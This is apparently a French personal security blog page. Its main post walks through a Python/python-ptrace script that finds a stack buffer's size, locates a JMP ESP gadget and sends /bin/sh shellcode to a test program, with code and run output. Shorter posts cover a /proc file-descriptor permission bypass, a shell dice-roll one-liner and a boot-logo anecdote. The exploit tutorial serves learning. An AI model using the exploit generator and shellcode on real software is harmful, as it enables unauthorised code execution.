L'instruction LEAVE fait deux choses : elle écrase ESP avec la valeur actuelle d'EBP, puis elle POP la pile et écrase la valeur d'EBP avec l'adresse qu'elle vient de poper (la valeur d'EBP qui avait été sauvegardée avant de rentrer dans la fonction donc). L'instruction RET, quand à elle, POP la pile et écrase la valeur d'EIP avec l'adresse qu'elle vient de poper (la valeur d'EIP qui avait été sauvegardée avant de rentrer dans la fonction donc). En résumé : LEAVE recadre la pile comme elle était dans la fonction appelante, et RET restaure le pointeur d'EIP pour la fonction appelante. Si vous avez suivi vous avez noté que, sur la pile, la sauvegarde d'EBP est juste avant la sauvegarde d'EIP, et c'est ça qui est important. Déterminer quand on va écraser la sauvegarde d'EIP est donc équivalent à déterminer quand on va écraser la sauvegarde d'EBP, à un POP près :) </rappel>

Revenons donc à notre script et à sa première tache qui consiste à déterminer quelle taille précise nous avons sur la pile avant d'écraser la valeur sauvegardée d'EIP. Si j'ai tout suivi à l'article que je vous ai cité [6] le script va en fait repérer quand on écrase la valeur sauvegardée d'EBP, puis en déduire qu'un POP au delà on écraserait la valeur sauvegardée d'EIP. Si c'est ce fonctionnement là qui est choisi c'est pour une excellente raison : c'est une méthode simple ! En effet la façon la plus simple d'observer la valeur des registres c'est d'utiliser un breakpoint sur une instruction, or la dernière instruction dont nous disposons aisément c'est le RET du main mais si on break sur cette instruction (juste avant qu'elle ne s'exécute donc) le pointeur d'instruction (EIP) n'est pas encore restauré à sa valeur sauvegardée (puisque c'est justement la tâche de ce RET) alors que le pointeur de base de la pile (EBP), lui, a déjà été restauré (puisque c'était la tâche du LEAVE qui était juste avant) ! Donc il suffit de faire un break sur le RET puis d'observer directement la valeur d'EBP pour savoir que, 4 octets plus loin (à un POP près), on écrasait la valeur sauvegardée d'EIP. C'est la seule méthode envisageable de toute façon puisque si on souhaitait breaker après le RET pour observer directement la valeur d'EIP on devrait breaker sur l'instruction à exécuter juste après le RET, donc sur l'instruction présente à l'adresse que nous avons restaurée sur l'EIP or cette adresse va être écrasée par notre argument et donc il nous faudrai breaker n'importe où dans la mémoire ce qui est impossible sous peine de segfault...

En terme de script celà revient donc à ouvrir l'exécutable en mode debug, trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution en fournisant à chaque fois un argument plus grand tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument. Une fois qu'on a trouvé un argument assez grand pour aller écraser la valeur d'EBP sauvegardée on a résolu notre premier problème qui consistait à savoir précisément combien de place était disponible sur la pile :) !

Allons-y par petites étapes : D'abord on doit "ouvrir l'exécutable en mode debug"...sauf qu'en python on n'a pas accès à Metasm. Diantre nous voilà bien ennuyé ! Pas grave, on n'a peut-être pas Metasm, mais on a des idées (et surtout on a python-ptrace[7], dont vous allez avoir besoin et que vous pouvez obtenir via un simple emerge python-ptrace si vous avez le bon gout d'être sous gentoo). Grace à "python-ptrace" nous allons avoir accès à toutes les fonctions de debug dont nous avons besoin pour jouer sous linux ! Utilisons donc python-ptrace pour "ouvrir l'exécutable en mode debug" :

#!/usr/bin/env python
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild

def load_dbg(prog,arg):
	# ----------------------------------
	#	Getting things ready
	# ----------------------------------
	
	#Create the process we want to debug
	pid = createChild([prog,arg],False,None)
	
	print '[*] Loading process "'+str(prog)+'" in memory with an arg of size',len(arg)
	
	# Create the debugger and attach the process
	dbg = PtraceDebugger()
	process = dbg.addProcess(pid, True)
	
	return (dbg,process)

Il n'y a rien de particulier à comprendre ici, si le sens précis de ces ligne vous intéresse je vous conseille de lire la doc de python-ptrace et les exemples fournis avec qui sont très bien foutus (et dont ces quelques lignes sont très grandement inspirées :) ).

Nous devons ensuite "trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution [tant que] la valeur d'EBP observée au moment du break ne provient pas de notre argument". Encore une fois nous sommes ennuyés parce que nous n'avons pas Metasm, et cette fois je dois avouer que je n'ai pas trouvé de méthode propre pour trouver directement le RET de la fonction main. Ma première idée a été d'obtenir le mapping des plages mémoires allouées à notre processus, puis de désassembler entièrement les plages exécutables et de mettre des breakpoint sur tous les RET que j'y trouverai. Malheureusement cette méthode faisait segfaulter systématiquement...je suppose que les désassemblages barbares de toute une plage de mémoire n'était pas très corrects et qu'en plaçant mes breakpoint il m'arrivait en fait de tomber au milieu d'instruction n'étant pas des RET, ce qui amenait aux segfaults... Bref cette solution n'était pas viable et j'ai donc opté pour une méthode "Quick & Dirty" : j'exécute l'intégralité du programme en pas à pas, et j'analyse l'EBP à chaque étape :) Alors oui, c'est extrèmement lent et absolument sans aucune subtilité, mais au moins ça marche (et en plus ça permet de traiter indifféremment des buffer overflow se produisant n'importe où dans le code, et plus seulement dans la fonction main :) ). Donc, voyons ce que ça donne en script python+python-ptrace (là vous pouvez lire plus attentivement le code, ça devient intéressant de voir à quel point python-ptrace se manie bien :) ) :

def get_stacksize(prog, arg):
	# ----------------------------------
	#	Figuring out what stack size we have
	# ----------------------------------
	
	stack_crashed=False
	while not stack_crashed:
		# Enlarge our argument ;-)
		arg=arg+arg[-1:]

		# Getting things ready for debugging
		dbg,process = load_dbg(prog,arg)

		# Start the process, step by step (this is VERY slow)
		while process.running and not stack_crashed:	
			# We check (the dirty way) the EBP value in order to detect the overflow
			if long('0x'+4*(hex(ord(arg[-1:]))[-2:]),16) == process.getreg('ebp'):
				stack_crashed=True
				print '[*] Overflow probably detected for an arg of size',len(arg),'\t EBP value : ',hex(process.getreg('ebp'))
			# Make one step
			process.singleStep()
			s=process.waitEvent()
		#now we leave properly
		dbg.quit()
	return len(arg)

A part l'ignoble ligne où je compare la valeur d'EBP avec les 4 derniers charactères de notre argument convertis en hexa puis en entier, le code est quand même relativement simple non ? On n'a donc pas Metasm, mais on s'en sort à peu près !

A ce point nous savons donc ouvrir notre programme en mode debug et nous savons également obtenir la taille d'argument qui va aller écraser l'EIP sauvegardée sur la pile. Il va falloir nous pencher sur la structure de notre exploit à présent. Dans un monde merveilleux notre exploit n'aurait qu'à écrire n'importequoi sur la pile jusqu'à la valeur sauvegardée d'EIP, écrire à cet endroit l'adresse correspondant à "juste après cet endroit même", puis enchainer directement avec notre shellcode :

garbage | Adresse où va se retrouver en mémoire l'octet qui arrive juste après => | shellcode

De cette façon l'exécution sauterait bien dans notre shellcode après l'éxécution du RET. Malheureusement pour nous les noyaux linux intègrent, depuis la version 2.6.17 et jusqu'à la 2.6.30, un placement aléatoire de la stack dans la mémoire[8]. A cause de ce placement aléatoire de la stack il nous est impossible de déterminer à l'avance à quelle adresse se situera notre shellcode en mémoire lorsque nous le pousserons sur la pile et nous ne pouvons donc pas créer notre exploit comme nous le voulions puisque nous ne savons tout simplement pas quoi mettre pour écraser la valeur sauvegardée d'EIP :( Pas grave, une astuce ultra connue existe et tire parti du fait que la pile est placée aléatoirement en mémoire mais pas le code du programme qui, lui, est toujours à la même place. Le but du jeu est donc de trouver, dans le code du programme, une instruction qui nous arrange puisque, elle, sera toujours au même endroit. L'instruction que nous allons chercher c'est tout simplement un "JMP ESP". En effet si nous parvenons à trouver un "JMP ESP" dans le code du programme et à écrire son adresse dans l'EIP sauvegardée, le flux d'exécution va bien se retrouver détourné vers lui à l'exécution du RET, puis immédiatement après vers notre shellcode qui se trouve justement sur la pile (i.e. : à l'adresse contenue dans ESP). Simple, ultra connu, mais terriblement efficace[9] :) Cette méthode nous permet même de conserver la structure d'exploit que nous voulions à un mini détail prêt :

garbage | Adresse d'une instruction JMP ESP quelque part dans les parties fixes de la mémoire du programme | shellcode

Par contre tout ça c'est bien joli, mais maintenant il faut trouver un "JMP ESP" dans les parties de la mémoire qui seront toujours au même endroit et qui sont exécutables (donc typiquement dans le corps du programme). Cette partie là est enfantine avec python-ptrace, et très instinctive : on obtient les plages de mémoires appartenant au programme, pour chacune d'elle on vérifie si elle est exécutable et si tel est le cas on la parcours octet par octet à la recherche de quelque chose qui pourrait être interpretté comme un JMP ESP. Vous pouvez lire le code attentivement,vous verrez que les appels à python-ptrace sont limpides[10] :

import re
from sys import exit

def get_jmpesp(prog,arg):	
	# ----------------------------------
	#	Finding a JMP ESP
	# ----------------------------------	
	dbg,process = load_dbg(prog,arg)
	jmpespaddr=None
	
	# We get the memory mapping
	maps = process.readMappings()
	for m in maps:
		if re.match('..x.',m.permissions) and jmpespaddr==None:
			print'[*] Searching for a JMP ESP in',hex(m.start),'=>',hex(m.end)
			for cur in range(m.start,m.end):
				code=process.disassembleOne(cur)
				if code.mnemonic=='JMP' and code.operands=='ESP':
					jmpespaddr=code.address
					print '[*] JMP ESP found at address',hex(code.address)
	if jmpespaddr==None:
		print '[*] No JMP ESP was found...damned we are doomed !'
		exit(-1)
	dbg.quit()
	return jmpespaddr

Comme vous l'avez constaté je n'utilise pas "disassemble" pour tout désassembler d'un coup, mais "disassembleOne" avec un décalage d'un octet à chaque fois. De cette façon je n'ai pas besoin qu'un JMP ESP existe vraiment dans le code, il me suffit que quelquechose puisse être interpretté comme tel. Typiquement si une constante dans le code avait, par le plus grand des hasard, la même représentation binaire que le code machine JMP ESP, je la trouverai avec disassembleOne et je pourrai l'utiliser en tant que JMP ESP. Ca tombe bien, souvenez vous des sources de notre programme cible : dans le cas où on invoque notre programme de test sans argument il retourne le code d'erreur 0xffe4...devinez à quel code machine ça correspond ;) ? C'est un JMP ESP ! Alors oui c'est une petite bidouille, mais c'est pour le bien de la démonstration et il est à parier que dans des programmes de plus de 10 lignes nous n'aurions pas à insérer artificiellement ce JMP ESP. De toute ce sont les gars de SOGETI eux même qui sont à l'origine de cette bidouille, donc ça colle dans mon envie de copier au plus près leur joli travail :-p

Alors, où en sommes nous ? Nous savons ouvrir le programme en mode débug, nous savons déterminer la taille disponible sur la stack avant d'écraser l'EIP, et nous savons trouver l'adresse d'un JMP ESP pour écraser l'EIP avec. Nous touchons au but :) ! Il ne nous reste plus qu'à trouver un shellcode à proprement parler, à assembler tout ça, et à tester :)

Pour le shellcode je vais grandement m'éloigner de mes inspirateurs puisqu'eux utilisent Metasm pour le compiler à la volée à partir d'assembleur mais moi, puisque je n'ai "que" python-ptrace et pas Metasm, je vais aller au plus court et réutiliser un shellcode public qui spawn /bin/sh. Pour l'assemblage c'est de la concaténation de chaine...rien de bien sorcier :

def create_shellcode(stack_size, jmpespaddr):
	print '[*] Generating exploit for a stack size of',stack_size, 'and a JMP ESP address of', hex(jmpespaddr)
	# Initial garbage
	exploit='a'*stack_size
	
	# JMP ESP address to overwrite the saved EIP value on the stack
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	
	# Shellcode spawning /bin/sh
	raw_sh=("0x6a","0x0b","0x58","0x99","0x52","0x66","0x68","0x2d","0x70","0x89","0xe1","0x52","0x6a","0x68","0x68","0x2f","0x62","0x61","0x73","0x68","0x2f","0x62","0x69","0x6e","0x89","0xe3","0x52","0x51","0x53","0x31","0xc9","0xcd","0x80")
	for op in raw_sh:
		exploit+=chr(int(op,16))
		
	return exploit

Oui, c'est super moche comme code python, mais il commence à se faire tard et j'ai envie de voir si ma copie de script fonctionne :) ! Plus qu'à lancer notre programme victime et voir si on obtient bien un shell, ça va se faire en rajoutant ces ultimes lignes à mon script python contenant toutes les fonctions que nous avons définies jusqu'à présent :

from os import system

JMP = get_jmpesp('./main','a')
STACK_SIZE = get_stacksize('./main','a')
SH = create_shellcode(STACK_SIZE, JMP)

print '[*] Exploiting...'
while 0!=system("./main "+SH):
	pass

Et on lance enfin le script-copie en python...suspens :

$./pyautopwn.py
[*] Loading process "./main" in memory with an arg of size 1
[*] Searching for a JMP ESP in 0x8048000 => 0x8049000
[*] JMP ESP found at address 0x80483f8L
[*] Loading process "./main" in memory with an arg of size 2
[*] Loading process "./main" in memory with an arg of size 3
(...)
[*] Loading process "./main" in memory with an arg of size 131
[*] Loading process "./main" in memory with an arg of size 132
[*] Overflow probably detected for an arg of size 132 	 EBP value :  0x61616161L
[*] Generating exploit for a stack size of 132 and a JMP ESP address of 0x80483f8L
[*] Exploiting...
oz@osiris /home/oz/autopwn $ whoami
oz
oz@osiris /home/oz/autopwn $

Victoire de canard ! Comme quoi il était possible de copier ce script en pure python, même s'il est bien moins beau et bien moins puissant. C'est encore une petite satisfaction personnelle de voir que j'ai pas mal progressé en technique depuis ces dernières années. Les améliorations possible pour ce script sont d'ailleurs nombreuses :

  • Passer le nom du programme et ses arguments initiaux en ligne de commande. Tout est déjà dans le code pour ça et pour supporter l'envoi d'arguments réels avant l'argument à faire grossir, il n'y a qu'une poignée de modification mineures à apporter.
  • N'exécuter qu'une fois le programme en pas à pas et noter à cette occasion où se situent les vrais RET. Pour les exécutions suivantes on ne breakerait qu'aux adresses de ces RET et non plus à chaque pas. Ca pourrait drastiquement accélérer le processus !
  • Nettoyer un peu (je pense en particulier à la comparaison d'EBP avec la valeur hexa de mon argument ainsi qu'à la création de l'exploit par concaténation...)
  • Je laisse votre imagination travailler !!!

Notes

[1] et il est clair que je reviendrai au SSTIC l'an prochain si j'ai le temps, l'argent, et assez de reflexes pour attraper une place avant la rupture de stock.

[2] Il a d'ailleurs été suivi d'un autre sur le même thème. Comme quoi je ne suis pas le seul à avoir été inspiré :)

[3] Metasm aussi est en ruby d'ailleurs

[4] Dans le souci de coller au plus près au travail de Ivan j'ai utilisé très exactement le même programme...à la différence près que moi j'ai bien des '#' devant mes include, et pas des '$', et que je retourne 0xffe4 à la place de 0 en cas d'absence d'argument...on verra pourquoi plus tard ;)

[5] Sans ce rappel moi je n'avais pas compris, je vous épargne donc juste le googlage.

[6] ce qui n'est pas certain :D

[7] D'ailleurs je vous recommande le blog de son auteur principal, même s'il n'est mis à jour que très rarement

[8] Après la 2.6.30 c'est un placement aléatoire complet de la mémoire, plus uniquement de la stack.

[9] Tout du moins jusqu'aux noyaux 2.6.30 exclus. Après ça ne marche plus puisque toutes les zones mémoire sont placées aléatoirement et non plus juste la pile. Il est alors impossible de deviner à l'avance l'adresse d'un JMP ESP, même contenu dans le code du programme..

[10] Si ça ça ne vous donne pas envie de jouer avec python-ptrace, voire d'y contribuer, je ne sais pas ce qu'il vous faut :-p !

mercredi, novembre 25 2009

La voie du scarabée...ou du débogueur

Le mois dernier a débarqué un thread sur bugtraq que j'ai trouvé assez intéressant et qui, chose rare pour cette ML, s'est étalé sur plus d'une semaine sans perdre en qualité dans les interventions. Je vous propose donc de résumer ici ce qui s'y est dit, vous allez voir c'est astucieux :)

Extrait d'un tableau de Vincent van Gogh - Domaine Public

Généralement sur un unixoïde, si vous avez des fichiers confidentiels à stocker, vous allez créer un répertoire, vous donner des droits dessus, retirer tous les droits pour le reste du monde, et enfin copier vos fichiers confidentiels dans ce répertoire. Les droits de votre dossier "secret" ressemblent donc à ça :

rwx------  2 toto toto 4.0K Nov  8 18:30 secret

Une fois le dossier "secret" sécurisé de la sorte les fichiers confidentiels créés dedans le sont généralement sans prendre garde aux droits qu'on leur attribue parce que, de toute façon, personne d'autre que vous ne peut lire le contenu du dossier "secret", et ne peut donc avoir accès à vos fichiers (car personne n'a pu avoir connaissance des inodes de vos fichiers). En effet quand bien même quelqu'un d'autre que vous connaitrai le chemin complet vers l'un de vos fichiers confidentiel toute tentative d'accès à ce fichier (et donc à l'inode correspondant) échouera lamentablement car la chaine de références à suivre pour obtenir le numéro de l'inode de votre fichier s'arrêtera, pour lui, au niveau du répertoire secret :)

C'est une méthode de contournement de ce type de cloisonnement qui a été abordé dans le thread de bugtraq dont je parlais en introduction et que nous allons voir ici. En effet dans certaines circonstances (assez particulières il faut bien l'avouer) Pavel Machek a trouvé une astuce permettant d'accéder à des fichiers sur lesquels on possède des droits, bien que l'on ne possède plus aucun droit sur une partie de l'arborescence menant à ce fichier. Alléchant non ?

D'abord voyons une méthode simple et connue comme le loup blanc pour parvenir à ce résultat : le hard link. Si jamais un hardlink existe entre /secret/himitsu.txt et /tmp/foo.txt n'importe qui avec les droits d'accès sur /tmp et sur /tmp/foo.txt aura accès à /secret/himitsu.txt. En effet un hardlink référence directement l'inode du fichier. En passant par le chemin /tmp/foo.txt vous avez donc directement accès au fichier sans aucun problème :) Par contre ça ne marche pas avec le symlink ! Les liens symboliques (ln -s) fonctionnent plutôt comme des raccourcis dans le monde de windows, c'est à dire que si /tmp/foo.txt est cette fois un lien symbolique vers /secret/himitsu.txt ce qui sera pointé par /tmp/foo.txt sera le chemin /secret/himitsu.txt et non pas le fichier en lui même, il faudra donc de toute façon résoudre le chemin /secret/himitsu.txt pour obtenir accès à l'inode du fichier, ce qui n'est pas possible si vous êtes bloqué au niveau du répertoire /secret

Si vous créez vos fichiers après avoir sécurisé le dossier /secret/ vous n'avez aucun souci à vous faire : personne n'a pu accéder un jour aux fichiers contenus dans le répertoire, et donc personne n'a pu créer de hard link vers ces fichiers (car personne n'a pu avoir connaissance de leur numéro d'inodes). En revanche le problème se pose si vous sécurisez l'accès au répertoire /secret/ après avoir créé les fichiers ! Par exemple si vous créez un répertoire /journal_intime et un fichier novembre2010 dedans, que vous fixez les permissions sur /journal_intime afin que personne d'autre que vous ne puisse accéder à ce répertoire, puis que vous vous mettez enfin à rédiger votre novembre2010 en toute quiétude=. Qu'est ce qui vous dit que quelqu'un n'a pas créé un hardlink vers /journal_intime/novembre2010 avant que vous ne coupiez les droits sur /journal_intime ? Et bien à priori rien ne vous le garantie et donc il est possible que vous rédigiez tranquillement novembre2010 alors que quelqu'un d'autre que vous y accède via un hardlink qu'il aura créé rapidement ! Pour parer ce cas de figure il y a une méthode simple : ls -l, le premier chiffre apparaissant après les permission représente le nombre de hardlink existant pour chaque fichier (attention : il est impossible de créer des hardlink sur des répertoires[1], ne tenez donc pas compte de ce chiffre sur les lignes correspondant à des répertoires). Par exemple ci-dessous on voit que novembre2010 a été compromis car quelqu'un a eu le temps de créer un hardlink vers lui, et que decembre2010 n'est, lui, bien référencé que par un hardlink (certainement parce qu'il a été créé en decembre, et que l'on a sécurisé le répertoire en novembre, donc avant sa création :) )

-rw-r--r--  2 toto toto 40.0K Nov  8 18:30 novembre2010
-rw-r--r--  1 toto toto 40.0K Nov  8 18:30 decembre2010

Grace à cette méthode toute simple de vérification du nombre de hardlink on aurait donc pu se croire à l'abri, mais ça aurait été sans compter sur le thread de bugtraq dont je parlais en introduction et qui apporte un raffinement amusant à la méthode de contournement de la protection par répertoire via hardlink.

Toute la méthode de Pavel se base en fait sur la présence du pseudo filesystem /proc (et ne fonctionne donc que sous linux). Quand Pavel a décrit son astuce sur Bugtraq il l'a présenté comme une faille de sécurité causée par /proc lui même sans beaucoup plus d'explication, et de là le débat est parti pour tenter d'expliquer plus précisément le phénomène observé. Je vais donc vous présenter directement les conclusions plutôt que tout le débat[2].

Ceci n'est pas une pipe - Creative Common by "focustoinfinity" on Flickr, from the painting by R.Magritte
Quand /proc est monté et qu'un process ouvre un fichier une entrée est automatiquement créée dans /proc/[PID]/fd/ et c'est là qu'un comportement contre-intuitif a lieu : bien que le répertoire se nomme "filedescriptor" l'entrée stockée n'est pas un filedescriptor mais un objet particulier au pseudofilesystem /proc. Là où ça devient amusant c'est que cet objet particulier se comporte comme un hardlink mais n'en est pas un ! Vous pouvez donc exploiter cette "astuce" dans un scénario complexe du type suivant :

  1. Alice crée un répertoire /secret avec des permissions qui autorisent Eve à y accéder
  2. Alice crée un fichier supersecret.txt dans le répertoire /secret avec des permissions quelconque qui autorisent Eve à y accéder en lecture seule
  3. Alice change les permissions de /secret pour que personne ne puisse y accéder à par elle
  4. Alice vérifie le nombre de Hardlink pointant sur le fichier supersecret.txt et constate qu'il n'y en a qu'un et que personne ne peux donc plus contourner la protection apportée par /secret
  5. Alice change, pour d'obscure raisons, les permissions de supersecret.txt pour que tout le monde puisse y accéder en lecture/écriture

Normalement Alice est tranquille : son fichier est innaccessible, et en tout cas impossible à modifier. Mais voilà : si Eve a ouvert le fichier avant qu'Alice coupe les permissions sur /secret Eve peut toujours lire le contenu de supersecret.txt mais il y a pire encore (c'est le comportement qui avait fait tiquer Pavel) : Eve peut modifier le contenu du fichier en ouvrant simplement l'entrée stockée sous /proc/[PID]/fd/[3] puisque cette entrée se comporte en fait exactement comme un hard link !

Amusant n'est-ce-pas ? Bon comme je vous avais prévenu c'est "exploitable" uniquement dans des contextes très très très particuliers, mais moi j'ai trouvé ça distrayant :-)

Notes

[1] Sauf sour MacOS10.5 me souffle-t-on à l'oreille...

[2] pour les détails menant à cette conclusion référez vous au thread original (vous trouverez un lien en début d'article)

[3] Pavel pensait qu'il s'agissait en fait d'un vrai "filedescriptor" et que /proc permettait de le ré-ouvrir, ce qui n'est en fait pas le cas

lundi, septembre 14 2009

Osez dire OUI !

Si un jour vous vous ennuyez je vous conseille de partir à la découverte d'un monde merveilleux : ls /bin/[1] Vous regardez le listing et ouvrez le man des commandes que vous ne connaissez pas, ça passe le temps et perso ça m'a pas mal distrait quand j'était à l'école. En plus les connaissances ainsi acquises se sont toujours montré payante pour moi à plus ou moins long terme....Toutes, même celle de la commande "yes" ;)

YES - Creative Common by "domib34" on Flickr

Pour ceux qui ignorent ce que fait la commande "yes" je vous offre gracieusement la description issue du man : "yes - output a string repeatedly until killed". Voilà :) ....Vous tapez "yes" et hop, le programme va cracher "y"[2] indéfiniment sur la sortie standard. Super hein :) ? C'est typiquement le genre de commande que l'on peut découvrir en listant les répertoires de son PATH et qui me laissent perplexes. Je veux dire : je comprend bien l'utilité de la chose (certainement pour répondre "oui" en boucle lors de procédures un peu chiante ou de "rm -i" incontrolable) mais de là à en faire un outil standard [3]...

Toujours est il que quand je suis tombé sur cette commande je me souviens m'être dit "bon, il FAUT que je lui trouve une utilité", et j'y suis parvenu. Je vous l'accorde elle est un peu capilotractée et on pourrait remplacer "yes" par beaucoup d'autres choses mais je la trouve tout de même pratique dans certaines situations et puis ça m'a permis de tirer profit de commandes (ou options) que j'avais découvert par des "ls /bin". Voici donc la commande, je vous laisse la lire et essayer de deviner ce qu'elle fait, je donnerai l'explication après :

yes | cat -n | head -n 6 | shuf | cut -f 1 | head -n 1 | tr -d "\t "

Pour réaliser cette ligne j'ai du découvrir l'option "-n" de la commande "cat" (que j'utilise pourtant plusieurs dizaines de fois par jour), la commande "shuf", et la commande "tr" :) Pour information toutes sont dans "/bin" (sauf "shuf") et ont donc de très vives chances d'être présentes sur presque tous les unixoïdes du monde, vous pouvez donc tester la ligne chez vous si vous n'avez pas déjà compris à quoi elle sert ;) ...Attention c'est votre dernière chance avant que je donne la solution....Plus qu'une demi ligne...Voilà : elle sert à simuler le lancer d'un dés à six faces, pratique quand on est rôliste ;) ![4]

Notes

[1] Les gourous peuvent passer à la force 2 avec /usr/bin/

[2] "y" suivi d'un retour charriot pour être précis. On peut remplacer "y" par la chaine de son choix.

[3] en tout cas il était présent sur toutes les distribs où j'ai regardé

[4] Et pour les plus taquins d'entre vous il est également possible de faire des yes "bonjour :p" | wall, ou encore des yes "salut" >> /dev/ttyX quand on est root sur une machine avec des amis dessus

dimanche, juillet 26 2009

p0wned...ou pas

Est-ce-que l'on devient parano à force d'en apprendre de plus en plus sur l'(in)sécurité informatique, ou bien est ce que l'on cherche toujours à en apprendre plus sur l'(in)sécurité informatique parce que l'on est parano ? En tout cas aujourd'hui il m'en est arrivé une belle...

Tux

Aujourd'hui donc, je profite d'avoir un peu de temps devant moi pour regarder les mises à jour disponibles pour mon pc et je trouve :

  • des mises à jour de librairies obscures, elles seront mises à jour en tant que dépendances de plus gros logiciels, je n'y fais donc pas attention
  • des mises à jour de logiciels que j'utilise tout les 36 du mois, je les mettraient à jour "quand j'aurai le temps"
  • des mises à jour de logiciels que je considère comme "critiques" parce que je les utilise souvent et qu'ils sont assez connus pour attirer les exploits dès qu'une faille est publiée (citons par exemple firefox, thunderbird, mplayer, etc.)
  • et en cadeau bonus aujourd'hui : une mise à jour du noyau est disponible (en fait elle devait l'être depuis un moment, ça faisait bien un mois que je n'avais pas fait de mise à jour sérieuse...oui je sais c'est mal)

Bon, je lance quelques mises à jours de logiciels importants, puis la mise à jour des sources de mon noyau, un petit tour dans le menuconfig, je le recompile, hop modules_update, je copie mon tout nouveau noyau tout beau tout rutilant, et je reboot enfin. Et là, au reboot, le gentil petit "tux" qui est normalement en boot logo lors de la séquence de démarrage en haut à gauche de l'écran a disparu, à sa place une espèce de taupe masquée O_O !

Tuz

Du coup je cogite rapidement : je me souviens des serveurs de package de debian qui s'étaient fait rooter il y a quelques années, je remet en doute mon jugement de "gros canulard" concernant anti-sec et leur fameux "openPOWN" qui permettrait d'exploiter un 0day dans openSSH, bref je commence à jouer le parano. Du coup j'éteint mon PC, je débranche son cable réseau, et je le boot sur une backtrack live...après analyse rapide : rien de particulièrement bizarre à part ce logo...et de toute façon serais-je capable de trouver quoi que ce soit d'étrange si je m'était réellement fait rooter ? Pas sur. Du coup je boot un autre pc (sur une live clef usb...on ne sait jamais) et je commence à farfouiller sur le net à la recherche d'information sur cette "taupe masquée", après tout c'est peut être la signature d'un groupe de hack connu...Ca m'a bien pris 20mn pour trouver qu'en fait ce n'était pas une taupe mais un diable de tazmanie, et que je ne m'étais pas fait rooter du tout : c'est un logo mis en place exceptionnellement dans la version 2.6.29 du kernel linux afin de sensibiliser à la survie des diables de tazmanie...grand moment de solitude.

- page 1 de 2